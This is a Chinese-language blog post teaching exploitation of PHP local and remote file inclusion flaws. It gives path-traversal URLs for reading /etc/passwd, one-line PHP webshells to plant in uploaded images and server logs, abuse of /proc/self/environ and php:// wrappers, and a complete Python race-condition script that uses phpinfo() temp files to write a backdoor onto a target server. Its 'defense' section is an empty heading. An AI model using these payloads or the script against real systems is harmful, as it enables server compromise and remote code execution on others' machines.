文件包含漏洞
漏洞分类
-
本地文件包含漏洞
包含本地文件/引用本地文件 -
远程文件包含漏洞
可以包含远程文件
本地文件包含漏洞
利用方式
文件包含 本地文件
通过回溯符 ../../
的方式包含 /etc/passwd
文件。
http://www.xxxx.com?filename=../../../../../../../../../../etc/passwd
文件包含 图片
1.将带有恶意代码的图片上传至服务器
2.本地文件包含的方式引用图片,这样图片就会被当作文件引入,从而执行文件中的恶意代码。
payload:<?php phpinfo();eval($_POST['cmd']);?>
保存为 shell.jpg
文件包含 日志文件getshell
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。
写入一句话木马:<?php phpinfo();eval($_POST[cmd]);?>
然后在包含日志文件即可
文件包含 环境变量getshell
/proc/self/environ 这个文件里保存了系统的一些变量
如果权限足够,包含这个文件就能 getshell
文件包含 临时文件
原理: 利用 php post 上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含漏洞生成一句话后门。
1.php 在解析 multipart/form-data 请求时,会创建临时文件,并写入上传内容,脚本执行后即删除
2.phpinfo 可以输出$_FILE 信息
3.通过多种方式争取时间,在临时文件删除前进行执行包含
1)通过在数据报文中加入大量的垃圾数据,似 phpinfo 页面过大,导致 phpinfo 页面过大,导致 php 输出进入流式输出,并不一次输出完毕
2)通过大量请求来延迟 php 脚本的执行速度php post 方式上传任意文件,服务器都会创建临时文件来保存文件内容。
在 HTTP 协议中为了方便进行文件传输,规定了一种基于表单的 HTML 文件传输方法
其中要确保上传表单的属性是 enctype="multipart/form-data"
其中 PHP 引擎对 enctype="multipart/form-data"这种请求的处理过程如下:
1、请求到达;
2、创建临时文件,并写入上传文件的内容;
3、调用相应 PHP 脚本进行处理,如校验名称、大小等;
4、删除临时文件。
PHP 引擎会首先将文件内容保存到临时文件,然后进行相应的操作。临时文件的名称是 php+随机字符 。
$_FILES 信息,包括临时文件路径、名称
在 PHP 中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小
把文件上传到 phpinfo 获取临时文件路径
<!doctype html> <html> <body> <form action="http://192.168.0.103/06/phpinfo.php" method="POST" enctype="multipart/form-data"> <h3> Test upload tmp file</h3> <label for="file">Filename:</label> <input type="file" name="file"/><br/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
通过 phpinfo 临时文件 getshell
php 本地包含文件利用脚本 修改利用的路径和文件即可。
#!/usr/bin/python import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
具体原理
在给 PHP 发送 POST 数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php 都会将这个文件保存成一个临时文件(通常是/tmp/php[6 个随机字符]
),这个临时文件在请求结束后就会被删除,同时,phpinfo 页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和 phpinfo 页面通常是两个页面,理论上我们需要先发送数据包给 phpinfo 页面,然后从返回页面中匹配出临时文件
名,将这个文件名发送给文件包含漏洞页面。
因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。
但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件,然后文件包含:
1)发送包含了 webshell 的上传数据包给 phpinfo,这个数据包的 header,get 等位置一定要塞满垃圾数据;
2)phpinfo 这时会将所有数据都打印出来,其中的垃圾数据会将 phpinfo 撑得非常大
3)PHP 默认缓冲区大小是 4096,即 PHP 每次返回 4096 个字节给 socket 连接
4)所以,我们直接操作原生 socket,每次读取 4096 个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5)此时,第一个数据包的 socket 连接其实还没有结束,但是 PHP 还在继续每次输出 4096 个字节,所以临时文件还未被删除
6)我们可以利用这个时间差,成功包含临时文件,最后 getshell
执行 python lfi.py 192.168.0.103 80
伪协议
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
php.ini 参数认识:
在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。
allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;
php://input
php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行时会将 post 内容
当作文件内容。
注:当 enctype="multipart/form-data",php://input 是无效的。
php.ini 条件是 allow_url_fopen =ON allow_url_include=ON
file:// 访问本地文件
在本地包含漏洞里可以使用 file 协议,使用 file 协议可以读取本地文件
file:///etc/passwd
php://
php:// 用于访问各个输入/输出流(I/O streams),经常使用的是 php://filter 和 php://input
php://filter 用于读取源码
php://input 用于执行 php 代码。
php://filter 参数详解
防御方式
远程文件包含漏洞
利用方式
当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On allow_url_include=ON
两个条件同时为 On 允许远程包含文件。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· 一文读懂知识蒸馏
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下